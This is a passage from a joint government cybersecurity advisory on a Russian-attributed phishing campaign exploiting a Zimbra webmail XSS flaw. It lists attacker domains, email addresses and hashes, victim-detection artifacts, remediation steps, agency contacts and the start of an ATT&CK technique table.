<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
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<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
